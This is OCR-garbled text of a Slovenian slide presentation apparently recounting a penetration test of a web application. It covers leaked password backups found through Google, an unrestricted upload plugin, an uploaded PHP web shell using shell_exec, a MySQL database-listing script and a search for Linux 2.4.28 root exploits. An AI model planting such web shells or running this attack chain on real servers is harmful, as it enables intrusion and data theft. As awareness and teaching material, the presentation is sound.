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Kids, don't try this at home!

* |zvajanje opisanih postopkov brez
(pisnega) dovoljenja lastnika je
kaznivo.

* Potrebno se je izogibati povzrocanju
skode (npr. brisanju podatkov),
namerno povzrocanje skode ni
dovoljeno.



Varnostna analiza spletne aplikacije

» Kaj Je dostopno na spletni strani?
» Kaj Je javno dostopno na spletni strani?

* Pa se poigrajmo z URL-ji... v URL
dodajmo “7*=""...



Ups! Odkrili smo interni sistem
Za izmenjavo sporocll
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Hmm... dostop do interne komunikacije?
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Varnostna analiza spletne aplikacije

 Let’s play with URL'’s a little bit more...
- http://lwww.*****/index.php?*="&*="&*="
- http://www.*****/index.php?*=*&*="&*="
- http://www.*****/index.php?*=*&*="&*="

 Mozne so Se druge razliCice igre, s katero
skusamo odkriti Sibke toCke sistema.



Na tak nacin lahko nenadzorovano klicemo
posamezne dele spletne aplikacije...

D
I Brakaj ... |
Uredi |
Avtor: |
Naslov: |

Vnesite email, ¢e zelite biti obvesfeni o novih s

Posii |



Sedaj pa nekaj povsem drugega...

« Kako varna sploh je aplikacija, ki jo
uporabljajo”?

* Pa se spet sprehodimo po Googlu...

 /Z Google Code Search odkrijemo varnostno
kopijo aplikacije in podatkov, ki se zaradi
napake nahaja kar na spletu...

* Google's cached copy of .*****/*****/ passwords
from http://www.*****[**** tar.bz2



Glej no, vsebina .htaccess, pa tudi...

"htaccess - Google Code Search - Mozilla Firefox - 10| x|
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...gesla...
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...ter se kaksen interen dokument.
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Na nekaterih delih sistema so splosno vidne
nalozene datoteke...

*****/***/

o http://lwww.

* Vidni so osebni podatki, osebne datoteke,
zapisniki, financna porocila, pogodbe...
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- DOpenOffice.org Writer
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But, there i1s more...

* Pa si prenesimo datoteko v kateri je
Google nasel gesla...

* in si jo oglejmo...
e ... dobro oglejmo.

* Gre za rezervno kopijo baze, kjer se
nahajajo...
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...ter e-naslovi in gesla uporabnikov ter administratorjev
internega foruma!
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But, there is even
more...



...SQL database password!

1 - Google Code Search - Mozilla Firefox - 10| x|
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A/ Open file
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echo "§lang[cant open] ($filensme).":

exit;
yi
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Glavni zadetek?

*kk*k*%k

e $command = "mysqgldump -u

—_—%kxkkN

--password=
* Hmmm, je geslo se veljavno?



Ne Se, a sreCka je dobitha

Imamo sicer neko MySQL geslo vendar
nimamo dostopa do baze.

Ce pobrskamo dalje, pa najdemo “upload
plugin”..., Ki omogocCa nalaganje datotek.

Upload in datoteke... pa preiskusimo!

Na ciljnem sisitemu je sicer onemogoceno
pregledovanje vsebine imenikov (directory
listing), zato se sprehodimo do sorodnega
sistema (na istem strezniku), kjer so

administratorji to moznost pozabili izkljuciti...



Ogledamo si, katero PHP skripto klice “upload plugin®...
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<html>
<head=
<title-File Upload</title=

<script language="javascript" type="text/javascript" src=| »</script>

=script language="javascript" type="text/javascript" src=] /script>

<link rel="stylesheet" href="h" type="text/css" medla= " title="Upli
<br=

<iframe src="_.php" framehnrder=. height:".':v-:;‘iframe:—

<hr=>

</head>
<hody=

</body=>
</html=
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..In skripto poiskusimo klicati na ciljnem
strezniku. Bingo!
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Treba je le se ugotoviti kam se
shranjujejo nalozene datoteke ter kako so
poimenovane...
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...In na ciljni streznik ze lahko
nalozimo poljubno sliko!
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Je to vse?

Na te] toCki smo ugotovili, da na streznik lahko nalagamo
poljubne slike, besedila...

Recimo warez, filme ali pornografijo.
A te stvari so dolgoCasne, kajne?

Na svetu je veliko veC zanimivih stvari, recimo... PHP
skripte! Lahko nalozimo PHP skripto?

Pa preiskusimo naloziti skripto z naslednjo vsebino:
<?php

phpinfo();
7>



Bingo!

» phpinro() = Mozl atEireTox:
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PHP Version 4.4.4-8

System Linux BlackBox 2.4.28 #2 SMP Wed |Jan 19 10:33:10 CET 2005 i6B6
Build Date MNowv 22 2006 21:44:27

Server API Apache

Virtual Directory disabled

Support

Configuration File
(php.ini) Path

fetc/phpdfapache/php.ini

Scan this dir for
additional .ini files

fetciphpd/apachefconf.d

additional .ini files
parsed

fetc/phpd/apache/conf.dfcurl.ini, fetc/phpdfapachefconf. dfgd.ini,

fetc/phpd/apache/conf.dfimap.ini, /etc/phpd/apachefconf.dfmysqgl.ini,

fetc/phpd/apache/conf.dipgsgl.ini

PHP API 20020918
PHP Extension 20020429
Zend Extension 200506806
Debug Build no

Zend Memory enabled
Manager

Thread Safety disabled

Registered PHP
Streams

php. http, ftp, https, fips, compress. bzip2, compress.zlib

This program makes use of the Zend Scripting Language Engine:

[«

m\
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Can we do more”?

* Pa poglejmo kaj se zgodi, Ce nalozimo
takole PHP skripto:
<?php
$output = shell exec('ls -1a");
echo "<pre>$output</pre>";
?>



Bingo - seznam vseh zaupnih internih dokumentov, kljub
onemogocenemu pregledovanju vsebine imenikov!
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Pa odprimo npr. zapisnik sestanka...

IMozilla Fi =10] %]
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"~ Shrani na disk
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...In si oglejmo vsebino.
' TAPISNIK SESTAMEK, ;IEI—EI |
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Gremo dalje?

» Kaj nismo nekje videli gesla za
neko MySQL bazo?

» Tocno, $command = "mysqldump
_u **k*k*k%* __password=*****

* Pa poglemo...



Skripta, ki izpise vse baze...

¢/ FILENAME: LIST MYSQL DES.PHP
i

define( 'INL', " Yn"™ ];:
define{ 'TE', ' ' |:

f/ connecting to MySoL.
R euleb oM tnySq]l contnect( ' localhost', !

or die{ wysqgl errnof().': '.wysgl error (] .NL |

A attempt to get a list of My3QL databhases
A already et up in wy account. Thiz is done
A/ using the PHP function: mysgl list dbsi)
fjresult = mysgl list dhs( $conn );

£ Dmtput the list
echo '<ul:>' . MNL:

AAAF USING: mysgl fetch object ()

i ———_—_—_—_———————————

vhile| $row = mysql fetch object( §result | ):
echo TE.'<lix'.frow->Databhase.'</li>'.HNL;

endwuhile;

FEES

/% USING: mysgl fetch row()

i ————————————————

while({ $row = mysgl fetch row( fresult ) ):
echo TE.'<lix'.frow[0].'</1lizx' . NL;

endwhile;

FEFS

% TUIING: mwsogl fetch associl



vsebina ene izmed baz (tabel,...)...

f:_‘} Mozilla Firefox ;lgl EI
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SETS
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Kaj se lahko storimo?

e uname -a ???

 Linux BlackBox 2.4.28 #2 SMP Wed Jan 19
10:33:10 CET 2005 i686 GNU/Linux

) Mozl aTEireTox:
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Linux BlackBox 2.4.28 22 SMP Wed Jan 19 10:33:10 CET 2005 1686 GNU/Linux



Google: “2.4.28 kernel exploit™?

228 kernell e M_]E.qrmgl‘:—ﬂmmm—
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2.4.28 kernel exploit - Iska... |.:‘ Nalagam ... |

Splet Slike Skupine Imenik

GO ng[e I2.4.28 kernel exploit Iskanje | :_:W

138 po: @ celotnem spletu € straneh v driavi Slovenija

Splet Zadetki 1 - 10 od priblizno 10.700 za 2.4.28 ke

linux kernel uselib privileae elevation

... hss - len); The line numhbers are all valid for the 2.4.28 kernel version. ... We have found at
least three different ways to exploit this vulnerability. ...

www. isec. plivulnerabilitiesfisec-0021-uselib.txt - 24k - Posnetek - Podobne strani

SecurityDot | Linux Kernel 2.4.28 | ocal Foot Exploit

SecurityDot exploits | Oday exploits | newest exploits | vulnerahilities | newest
vulnerakilities |, Oday vulnerabilities |, newest articles | linux articles ...

securntydot. net/searchfexploits/vulnerabilities/
articles/Linux+Kernel+2 4 28+l ocal+Root+Exploit html - 23k - Posnetek - Fodobne strani

Remote and local denial of service local root exploit - Trustix ...
... of the Linux kernel. This allows for a remote DoS and local root expleit. ...
8165509293267 e9d3adelcd74582ca 2. 2frpms/kernel-2.4.28-7tr 15686 rpm ...
wwew. xatrix. orgladvisory. php?s=4892 - 23k - Posnetel - Podobne strani

Slashdot | Linux 2.4.28 Kernel Released

An anonymous reader submits "After numerous exploits were released, the Linux kernel
team has released 2.4.28. (Changelog). Stefan Esser detailed numerous ...

linux. slashdot. argfaticle. pl?sid=04/11/17/203252 - 35k - Posnetelk - Podobne strani

Linux Kernel <=269 <=2.4.28 vCc resize int Local Qverflow Exploit

Mvc_resize int overflow ™ Copyright Georgi Guninski ™ Cannot be used in vulnerahility
datahases * * #Anrlide <stdin h> #Anclida <stdlil b= #nclides




2.4.28 Local Root Exploit

» Searching vulnerabilities for Linux
Kernel 2.4.28 Local Root Exploit -
Results found : 273

» Searching exploits for Linux Kernel
2.4.28 Local Root Exploit - Results
found : 55



Malce iskanja...

f ) MoZilIatRrerox: =0 = ;
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Unprivileged 1local users can gain elevated (root) privileges. Since the
vulnerability permits privilege 0 ring code execution, users may also
break out from virtual machines like UML (user mode Linux).

Credits:

Paul Starzetz <ihaquer@isec.pl> has identified the vulherability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.

Disclaimer:

This document and all the information it contains are provided "as 1is",
for educational purposes only, without warranty of any kind, whether —
[] I [+]
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...pa se malice...

ﬂ EallfnsclosaretAdnsony 1/ 20 05 = inuxKernel artrany codeexecationmviineratility = =mMozil 5 Riretox: E@ :
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*
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* Advisory 1/2005
* Linux Kernel arbitrary code execution vulnerability.
£
; & * Release Date: 2005/01/08
morld * Author: Stefan Esser [s.esser at ematters.de]
I \ Or" . . _at |
* Application: Linux Kernel <= 2.4.28, <= 2.6.10

i}lVEItt(l_;Slni t * Severity: A vulnerability exists in the ELF loader code
o .. s L y
About/Contact g allowing for an attacker to execute code as root.

M * Risk: Critical
Sponsors: * Reference: This advisory will soon be available on the e-matters

iLANguard @@ * website.
Metwork Security @8 * Last Modified: 2005/01/06
Scanner *
Ak

Download *
AppS-can"‘ 7.0 today. Ed Preamble

) wartckfire’ * Contributed by Marc 'The Narc' Maffrait / MCSE Hammer of eEye digital
* security.
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Search

* gniffing on your upstream scopin for gold
* hittin pay dirt with this here kernel hole
Development *
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Povzetek

e V treh dneh smo pridobili popoln nadzor nad
streznikom. To vkljucCuje:
- dostop do interne komunikacije;
— dostop do internih gradiv;
- moznost nalaganja poljubnih besedil in slik;
— dostop do vseh podatkovnih baz na strezniku;
- dostop do gesel, vkljucno z gesli za elektronsko posto;

- moznost poganjanja PHP skript z dostopom do ukazne
lupine, kar omogoca popoln prevzem nadzora nad
streznikom.



Hm...

Kaj pa, Ce je te varnostne
pomankljivosti pred nami odkril
(in izkoristil) ze nekdo drug?
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